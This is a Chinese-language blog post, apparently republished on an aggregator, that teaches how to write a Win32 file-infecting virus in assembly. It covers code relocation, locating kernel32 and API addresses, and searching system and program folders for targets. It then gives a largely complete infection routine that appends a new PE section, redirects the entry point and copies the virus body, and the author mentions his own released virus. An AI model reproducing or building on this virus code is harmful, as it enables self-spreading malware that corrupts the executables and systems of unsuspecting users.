zoukankan      html  css  js  c++  java
  • 自己动手写病毒

    引:前些天学病毒这门技术着实吃了非常多苦头,走了非常多弯路,虽然按我的知识水平,病毒已经是水到渠成的学习内容了。可是我如今学了入门才发现这门技术实际上隐藏着非常多玄机,包括着很多技术,不专门学习研究根本无法达到“牛”的境地上去。如今写了这篇文章,介绍的都是相当有用的东西,能够让你少走很多弯路(有时侯一个错误够你找几个小时的)。只是须要些基础知识才干看懂。假如你有天知识储备够了。不学学病毒将是你的遗憾。

    另。由于是写给协会会员參考的。也没写的多“专业”,多了些赘述。

           在你看之前,你应该知道这仅仅是篇能够带你入门的文章,假设你已经会了就不用看了。看的时候最好准备个PE表在旁边。

    写病毒程序能够使用非常多种语言来写比方C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。可是最适合写病毒程序的还是汇编语言。汇编语言底层。灵活,速度快。体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包括了全部的功能。一般一个病毒都有例如以下几个功能:

    一 代码重定位

    二 自己找到所需API地址

    三 搜索文件、文件夹

    四 感染文件

    五 破坏系统或文件(随便你了)

    当中一。二项功能是必要的。五项功能是可选的。

    而一个病毒程序感染文件的功能是它的核心。是衡量它质量的重要标准。

    (一)代码的重定位

    一个变量或函数事实上是一个内存地址,在编译好后。程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。

    假设你将代码插入到其它不论什么地方,再通过原来编译时产生的地址去找他们就找不到了,由于他们已经搬家了。可是,你在敲代码时考虑到这个问题,你就能够在代码最開始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。

    Call getbaseaddress

    Getbaseaddress:pop ebx

    Sub ebx,offset getbaseaddress

    Mov eax,dword ptr [ebx+Var1]

    假设你使用宏汇编语言写病毒。请尽量使用ebx做基地址指针,不要使用ebp。由于ebp在调用带參数的函数时会改变。

    (二)自己取得所需的API地址

    一个win32程序文件。所调用的API函数地址,是由系统填入到程序文件里描写叙述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。由于你在把病毒的代码插入目标程序时没有把这些描写叙述数据存放位置的数据结构信息也弄进去。它被插入到其它目标程序后就成了仅仅有代码的残废儿童:(所以作为一个残废儿童。应当自力更生。自己搜寻自己须要的API地址。

    目标程序文件就包括了我们须要的东西,我们须要自己去找。目标程序文件仅仅要还是win32程序,它的地址空间中就包括的有Kernel32.dll。

    假设找到了它,我们就能找到其它不论什么的东东。

    第一步,搜寻kernel32.dll的基地址。当然了。整个地址空间有4GB,可供搜索的用户进程空间也有2GB。

    在2GB中搜索,太吓人了。

    总不能在运行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。

    在程序被载入后,载入程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL。就是说,你程序还没运行,堆栈区里就有了一个返回地址了,这个返回地址指向的是载入程序。而载入程序是包括在KERNEL32.dll中的,我们顺着它向上找。就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找。而是一个页面一个页面地找。

    由于win32下,代码或数据的開始位置总是页面单位(windows平台下为4kb)对齐的。

    Kernel32.dll是一个PE文件,我们按比較PE文件dos签名标志和PE签名标志的方法找。另外还有个办法是通过SHE技术找。这是最好的办法了。前一个办法由于堆栈是动态的原因不稳定。一般仅仅能将获取地址的代码块放在最开头,这种方法全然是与堆栈无关的,放在哪里运行都不会出错,假设你的病毒须要用一些远程线程之类的技术,最好用这种方法。

    SHE结构。第一个成员指向下一个SEH结构。假设是最后一个那么它的值就是0ffffffffh。第二个成员指向异常处理函数。假设是最后一个SHE结构且没有指定的话,缺省的是SetUnhandlederExceptionFilter函数地址。

    当异常触发这个函数时就会弹出一个对话框。问你发不发送错误。98下显示蓝屏。

    这个函数是包括在KERNEL32.dll中的,仅仅要取得它的地址向上找就能找到KERNEL32.dll的基地址了。在说SHE时总忘不了TEB,TEB是创建一个线程时分配的线程相关的数据结构,SHE仅仅是它开头第一个数据结构体而已。

    它还包括了其它很多重要的东西,TEB由FS段选择器指向,有兴趣的查查资料,这里篇幅原因就不再多说了。

    接着上面的,看看怎样找SetUnhanderExceptionFilter函数地址。先依据“下一个”SHE结构的值定位到最后一个SHE结构,这时取出she处理函数的地址,就是SetUnHandleredEceptionFilter函数地址了,以页面为单位向上找就能够找到Kernel32.dll了/

    得到Kernel32.dll的基地址后,定位到它的导出表,找出GetProcAddress地址再利用GetProcAddress就能找到其它不论什么所须要的函数了。

    在搜索API时应该注意API的名字,API的名字实际的导出名字非常有可能不是你调用时的名字。windows下非常多API都有两个版本号ANSI版和UNICODE版,ANSI版函数名后缀带个A。比方CreateWindowExA,,而UNICODE版的函数名带个W后缀,比方CreateWindowExW。只是考虑到麻烦问题。现有的非常多编译器都不让你写后缀。仅仅是在编译的时候依据你程序是ANSI版的还是UNICODE版的自己主动改名字。Win2K以后的API函数都是Unicode 版本号的,假设调用ANSI版本号的函数。系统仅仅是将函数中的字符串通过进程默认堆将其转换成Unicode字符串,再调用Unicode版的API。Unicode是个发展方向。大家应该养成使用它的习惯而不是ANSI。

    (三)搜索文件、文件夹

           主要是用FindFirstFile,FindNextFile,FindClose.这三个函数实现。

    值得注意的是在用“*.*”搜索字符串时得到的是程序文件所在文件夹的全部文件和文件夹。

    而GetCurrentDirectory取得的是系统当前的文件夹。

    后者是随时会随着用户的操作而改变的,前者仅仅会随着目标程序文件的位置改变而改变。搜索须要感染的文件夹和文件时应该重点搜索windows安装文件夹(GetWindowsDirectory)。系统文件夹(GetSystemDIrectory)。当前文件夹(GetCurrentDirectory) 。当然程序当前文件夹也是不可放过的。比方,你把QQ感染了。QQ文件夹底下那么多常用的程序文件。比方珊瑚虫外挂,邮箱工具等等都是你的盘中餐了。我最喜欢感染的地方还是系统中各个进程所在的文件夹,那些才是用户最常用的,我的遂宁一号病毒是通过代码插入的办法做到这点的,非常麻烦,且非常不稳定。经常莫名其妙的使被插入进程在插入时结束掉,虽然能够用SHE避免。可是还是没多大效果。我如今正在构想我的下一个病毒。那时我将会使用PEB来枚举各个进程所在的文件夹了。不再使用代码插入了,会使病毒稳定的多的,我在遂宁一号中枚举进程使用的是toolhelp系列函数这样使病毒在Windows98也能正常运行。

    (四)感染文件

    所谓感染就是将病毒程序的代码插入到目标程序中。然后让目标程序先运行病毒程序的代码。至于将代码插入到目标程序的什么位置上,怎样使目标程序运行插入的病毒代码,什么时机对什么文件进行感染都是感染问题的核心。首先讨论将病毒代码插入到目标程序的什么位置才生效。

    Windows平台下的可运行文件都是PE格式的,这种格式的文件,你能够将它看成两大部分。第一部分是描写叙述各类数据存放位置的数据结构,第二部分就是各种数据。比方资源。代码,数据等等。因此。想将代码正确插入到目标程序文件里,就要读取和改动目标程序文件里描写叙述各类数据存放位置的数据结构了。

    以下我们来计算下我们的代码插入的位置,在这里我们讲一个最简单的插入方法。通过在文件里添加一个新的节区来实现。



    push eax

     

    push FILE_ATTRIBUTE_NORMAL

    push eax

    call DWORD ptr [ebx+SetFileAttributes1]

     

    pop eax

     

    push NULL

    push FILE_ATTRIBUTE_NORMAL

    push OPEN_EXISTING

    push NULL

    push 0

    push GENERIC_READ or GENERIC_WRITE 

    push eax

    call DWORD ptr [ebx+ CreateFile1]

     

    inc eax

    jz @error1

     
    dec eax

    mov DWORD ptr [ebx+hFile],eax

    上面那几步就用不着多说了吧。就是打开文件嘛。文件名称指针放在eax里头的

     

    push NULL

    push DWORD ptr [ebx+hFile]

    call DWORD ptr [ebx+GetFileSize1]

     

    mov DWORD ptr [ebx+dwFileSize],eax

     

    push NULL

    push 0

    push 0

    push PAGE_READWRITE

    push NULL

    push DWORD ptr [ebx+hFile]

    call DWORD ptr [ebx+CreateFileMapping1]

    or eax,eax

    jz @error1

    mov DWORD ptr [ebx+hMap],eax

    push 0

    push 0

    push 0

    push FILE_MAP_READ or FILE_MAP_WRITE

    push DWORD ptr [ebx+hMap] 

    call DWORD ptr [ebx+MapViewOfFile1]

    or eax,eax

    jz @error1

    mov DWORD ptr [ebx+pMap],eax

    mov esi,eax

    cmp WORD ptr [esi],'ZM'

    jnz @error1

    add esi,DWORD ptr [esi+3ch]

    cmp WORD ptr [esi],'EP'

    jnz @error1

    cmp DWORD ptr [esi+4ch],'1.ns'

    jz @error1

    这几步是对文件进行映射,然后推断该文件是不是PE格式文件,是不是已经被感染过了?假设这两个条件有一个满足就说明没有感染它的必要了,跳到@error1上去。

     

    mov eax,DWORD ptr [ebx+dwFileSize]

     

    add eax,Virus_End-Virus_Start

    mov ecx,DWORD ptr [esi+3ch]

    call Align1

    刚刚取得了文件的大小,如今将它和病毒的体积相加,然后进行文件对齐。注意文件对齐是必须的。Align1是个对齐子程序。对齐后的值放在eax中的。对齐因子放在ecx中的。

    讲到这我火又来了。我開始看的教程。这篇文章讲的对齐方法有错误。我没察觉,有一次为了这个错误浪费了我3个通宵我当时都快失去自信了。这个错误就是对齐,所谓对齐就是将一个数(未对齐的数)整成还有一个数的倍数(对齐因子)他讲的对齐方法是这种,他说,先用未对齐的数去除以对齐因子,再用对齐因子减去余数。再用未对齐的数加上这个减去后的数。我開始验算了几个值都对,并且大多数文件也能正确感染。可是就是有那么几个文件一感染就出问题。后来发现是文件对齐的问题了,于是换了个更符合逻辑easy想通的办法,一个未对齐的数总是对齐因子的倍数,我们先找出未对齐的数是对齐因子的几倍。所以用未对齐的数除以对齐因子,假设有余数说明没对齐。还差一倍,将商加个一乘以对齐因子,这样就得到对齐后的值了。

    如是对齐因子本身比原数大的话,那就还是有余数。加上一乘以对齐因子。就是对齐因子的一倍,所以这种方法既简单又符合逻辑。这才是方法。只是我也不怎么太怪那个Billy Belceb。由于他写电子教程时才16岁。16岁能写出那样有深度的文章已经是难能可贵了。佩服~~~。

    mov DWORD ptr [ebx+dwFileSize],eax

    push DWORD ptr [ebx+pMap]

    call DWORD ptr [ebx+UnmapViewOfFile1]

    push DWORD ptr [ebx+hMap]

    call DWORD ptr [ebx+CloseHandle1]

    push 0

    push DWORD ptr [ebx+dwFileSize]

    push 0

    push PAGE_READWRITE

    push 0

    push  DWORD ptr [ebx+hFile ]

    call DWORD ptr [ebx+CreateFileMapping1]

    or eax,eax

    jz @error1

    mov  DWORD ptr [ebx+hMap] ,eax

    push 0

    push 0

    push 0

    push FILE_MAP_READ or FILE_MAP_WRITE

    push DWORD ptr [ebx+hMap]

    call DWORD ptr [ebx+MapViewOfFile1]

    or eax,eax

    jz @error1

    mov  DWORD ptr [ebx+pMap],eax

    依据对齐后新的文件大小对文件又一次映射全部文件视图。这时,文件在磁盘上的大小也对应添加了。

     


    mov esi,eax

    add esi,DWORD ptr [esi+3ch]

    以下两行代码能够确保感染程序在xp下运行时不会弹出个不能载入某某DLL的错误对话框!!

    在我不知道的时候。我以前编写了一个低水平的病毒。这个病毒能感染非常多文件。

    我当时觉得病毒感染就是这样了。可是有一天,我发现被病毒感染后的记事本程序无法使用,总是提示“非法win32程序”我将病毒又一次写了一次,把代码改了一些,可是仍然没有效果。我非常失望。上网看文章玩。无意中看到老罗的一篇文章。当中有个地方他专门写凝视感激一位在技术帮助了他的人,指出某某处应该清0。看来他也以前遇到过这个问题,我将他的代码加入到我的程序中。奇迹发现了。能正常感染了。

    我后来查了很多资料也没找到这个结构是做什么的,仅仅知道它是IMAGE_DATA_DIRECTORY的第11个成员。

    push 0

    pop [esi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory(88)]

     

    mov ecx,DWORD ptr [esi+74h]

    shl ecx,3

    xor edx,edx

    lea edi,[ecx+esi+78h]

    movzx eax,WORD ptr [esi+6h]

    imul eax,eax,28h

    add edi,eax ;定位到最后一个节结尾

    ;開始填充新增的节结构体

    这段代码非常easy就是定位到节表后头即最后一个节的结尾处。你或许能够使用SizeOfHeader加上NumberOfSection*节大小28h可是我仍然比較我如今使用的方法。

    原因是肯定兼容性好的多,我的这种方法是取得IMAGE_DATA_DIRECTORY的个数乘上其大小在加上其它头剩余的大小。

    再加上 节表的个数*节的大小28h。

    有非常多病毒都是用的这种方法。为什么?我觉得Windows将来或许会扩充IMAGE_DATA_DIRECTORY成员的个数吧。

    所以动态的取得它比較好点。好了,如今edi已经指向节表末尾了,如今是新加入节的地盘了:(立即给它填我们的节表内容。

    mov DWORD ptr [edi],'1ns'

    mov DWORD ptr [edi+8],Virus_End-Virus_Start

    这里填入节的名字sn1(这个域有8个字节哟)。并且给Virtual Size(有的地方称作Physical Size)我的病毒的大小值,这个值不须要对齐。说到对齐,大家要清楚一个概念就是内存中的数据节对齐,文件里的数据文件对齐。



    mov ecx,DWORD ptr [esi+38h]

    mov eax,DWORD ptr [edi-28h+0ch]

    add eax,DWORD ptr [edi-28h+8h]

    mov ecx,DWORD ptr [esi+38h]

    invoke Align1

    mov DWORD ptr [edi+0ch],eax

    取得节对齐后,给节的Virtual Address成员即在内存中装入本节时的内存地址赋值。方法是取得上一个节的起始地址加上上一节的未对齐的大小即Virtual Size还要经过节对齐,就能够了。

     

    mov ecx,DWORD ptr [esi+3ch]

    mov eax,Virus_End-Virus_Start

    invoke Align1

    mov DWORD ptr [edi+10h],eax

    如今我们该给节的SizeOfRawData给值了。这个域是指节在文件里的大小,必须要经过文件对齐,那好。我们取得病毒大小。文件对齐后即可了

    mov eax,DWORD ptr [edi-28h+10h]

    add eax,DWORD ptr [edi-28h+14h]

    mov DWORD ptr [edi+14h],eax

    还有个节在文件里偏移的值叫PointerToRawData,这个值的计算方法是上一个节的SizeOfRawData加上上一个节的PointerToRawData。为什么呢?自己动脑壳吧。不动脑壳学会了也没用。

    mov DWORD ptr [edi+24h],0E00000E0h

    这个域是最好理解的了。成员名字叫Characteristics中文意思是属性。有可读,可读可写,可运行,可共享等等,比較重要的几个属性就是我列出的几个,当中可共享是比較难理解的,讲讲。可共享属性能够让该节的数据或代码拒绝写时拷贝(Copy On Write)。什么是写时拷贝呢,比方记事本有10个实例在运行。Windows就给相同的程序分配10个相同大小的进程空间,微软可没那么傻,他为了能节省内存使用了一种技术叫写入时拷贝。10个记事本同一时候运行就将10个记事本的进程空间映射到1个相同的物理内存上去。当有一个记事本想往里面写入时,数据一变全变,就会影响了其它9个记事本。可是有了写入时拷贝技术的干涉,就给那个写入数据的记事本另外分配块内存,将新分配的物理内存影射到记事本写入的那块进程空间地址上去,并且将原来的数据复制到这块新的内存中去,这样它再写入时就是写的新内存了,高兴写啥都不会影响其它的进程。假设还没懂的去看看“windows核心编程”内存管理那部分。

    再回到我们的感染问题上来。假设你的节有共享属性,就意味着它拒绝写入时拷贝技术,就是那个写数据的记事本。将会影响到其它9个记事本了,假设这是个变量的话,就是10个记事本都能够影响到的全局或称共享变量了。

    mov eax,DWORD ptr [edi+0ch]

    add eax,Start-Virus_Start

    上面两行代码是将病毒的代码入口点计算出来后头有用,计算方法简单,是我病毒開始运行地方的标号Start减去病毒開始的地方标号Virus_Start,你可能会有点不理解,这是由于病毒開始的地方不是我病毒開始运行代码的地方。我病毒開始运行代码的地方前面有一大段的数据,这些数据也是包括在代码段里的。就是说我的病毒仅仅有一个节.text。

    (代码节叫。Text)-

    push DWORD ptr [esi+28h]

    pop DWORD ptr [ebx+oldip]

    保存目标文件原来的代码入口点。这是个偏移而已,假设真的要跳回原来的代码入口点还不能仅仅运行AddressOfEntryPointer(原来代码入口点的指针),还要加个ImageBase成员再跳。否则就等于使你的病毒自杀。为啥?由于AddressOfEntryPointer 是个偏移。数字较小。一跳就非常有可能会跳到2GB以上的系统进程空间去了。你看微软饶的了你不。除非你使用SHE。

    push eax

    pop DWORD ptr [esi+28h]

    如今将上一步的上一步计算出来的病毒的代码入口点地址加上了本节的偏移地址Virtual Address成员的值。填进去。

    为啥要连加两个偏移呢?由于你脑壳不会拐弯:(

    ;计算新的sizeofimage

    mov eax,Virus_End-Virus_Start

    add eax,DWORD ptr [esi+50h]

    mov ecx,DWORD ptr [esi+38h]

    invoke Align1

    mov DWORD ptr [esi+50h],eax

    这个SizeOfImage成员搞不好非常要命的哟!Windows2000下这个值略微有点没对齐好就拜拜。非常多人以前在这个地方吃过亏,FT。这个值的意思是整个可运行体映射后在内存中的大小。

    将你新增的大小加上原来SIzeOfImage经过节对齐就好了。假设你哪天感染了的文件无法运行,先看看这有问题没有。



    inc WORD ptr [esi+6h]

    刚刚添加了一个节。如今将NumberOfSection的值加一

    push DWORD ptr [esi+34h]

    pop DWORD ptr [ebx+oldbase]

    取得程序文件运行时的内存基地址。我们的病毒使用了重定位,用不到它,可是我们要跳回原来程序文件的代码入口点继续运行。就要用它,前面已经说的非常清楚了。

    mov eax,DWORD ptr [edi+10h];取得文件偏移

    add eax,DWORD ptr [edi+14h];加上文件大小,呵呵,文件偏移加大小,又是最后一个节。聪明的你可能已经想到了。这分明就是文件结尾么,这个东东留到后头用。

     

     

     

    and  DWORD ptr [ebx+IsInject],0。这个值无论,这是我插入其它进程用到的一个标志变量。



    push eax

    mov DWORD ptr [esi+4ch],'1.ns'

    mov ecx,Virus_End-Virus_Start

    mov edi,DWORD ptr [edi+14h]

    add edi,DWORD ptr [ebx+pMap]

    lea esi,[ebx+Virus_Start]

    rep movsb

    上面的代码主要功能是依照我们新添加的节的PointerToRawData指向的位置把病毒代码写进去。

    push  DWORD ptr [ebx+pMap ]

    call DWORD ptr [ebx+UnmapViewOfFile1]

     

    push DWORD ptr [ebx+hMap ]

    call DWORD ptr [ebx+CloseHandle1]

    关闭内存映射文件。不懂的去复习Win32Api去吧。

    pop eax

     

    push FILE_BEGIN

    push 0

    push eax

    push DWORD ptr [ebx+hFile ]

    call  DWORD ptr [ebx+SetFilePointer1]

    将文件指针从到文件开头移动到新的文件结尾处。

    push DWORD ptr [ebx+hFile ]

    call DWORD ptr [ebx+SetEndOfFile1]

    设置文件指针指向的位置为结束位置,(实际上是在调整文件大小)为什么要这么做呢?由于開始的时候我将文件映射时将文件大小改成 原文件大小+未对齐的病毒体大小。然而这个大小不对。应该是 原文件大小+病毒体对齐后的大小,所以我又调用了一次函数又一次将文件末尾改成了 我新加节的 PointerToRawData+SizeOfRawData处,相当于大小等于 原文件大小+SizeOfRawData SizeOfRawData成员就是病毒体对齐后的大小了,当然你能够在一開始就依照  原文件大小+病毒体对齐后的大小进行映射,这样更好,少调用几个函数。我打算在我下一个病毒的版本号进行大大的改造,这种垃圾代码不会再出现了。



    @error1:

    push DWORD ptr [ebx+hFile]

    call DWORD ptr [ebx+CloseHandle1]

    关闭文件,这时文件就顺利改变了。



    push DWORD ptr [ebx+pMap]

    call DWORD ptr [ebx+UnmapViewOfFile1]

     
    push DWORD ptr [ebx+hMap]

    call DWORD ptr [ebx+CloseHandle1]

    ret

    最后说点点,这篇文章非常垃圾,更象我的学习笔记,哈哈。

    写这个我承认也加深了我的记忆。可是我希望大家能通过我的这篇垃圾文章,在学习病毒技术的曲折路程中少犯错误,由于我已经当了替死鬼了,你们没有必要再死一次了。新手在写病毒这种程序犯错误是非常可怕的。或许是致命的,由于差点儿找不到人讲。并且这里面的错误往往都不是程序的语法错误那么简单。须要你对全盘的分析,系统的全面了解。才干高速的定位错误。我犯了很多次错误,有非常多错误是在通宵过程中犯的“低级”错误。我浪费了非常多调试时间,FT。

    另外文章没有讲那么多高明的技术,由于我也在探索中。大家学会了这篇文章中的内容,能够看看 入口点模糊技术,多态感染引擎技术,虚拟机技术。简单有用的有 怎样感染文件而不改变文件大小的技术。PEB和TEB结构体,代码插入技术。越往后学。对你的汇编功底要求越高。大家在提高技术的同一时候也应该学点汇编方面的知识,比方 保护模式下编程,一些指令集 如MMX。上面介绍的知识。我仅仅了解一点点,我也是肉鸡一个。往后还有非常多书须要看。88。

  • 相关阅读:
    B.Icebound and Sequence
    Educational Codeforces Round 65 (Rated for Div. 2) D. Bicolored RBS
    Educational Codeforces Round 65 (Rated for Div. 2) C. News Distribution
    Educational Codeforces Round 65 (Rated for Div. 2) B. Lost Numbers
    Educational Codeforces Round 65 (Rated for Div. 2) A. Telephone Number
    Codeforces Round #561 (Div. 2) C. A Tale of Two Lands
    Codeforces Round #561 (Div. 2) B. All the Vowels Please
    Codeforces Round #561 (Div. 2) A. Silent Classroom
    HDU-2119-Matrix(最大匹配)
    读书的感想!
  • 原文地址:https://www.cnblogs.com/llguanli/p/8282316.html
Copyright © 2011-2022 走看看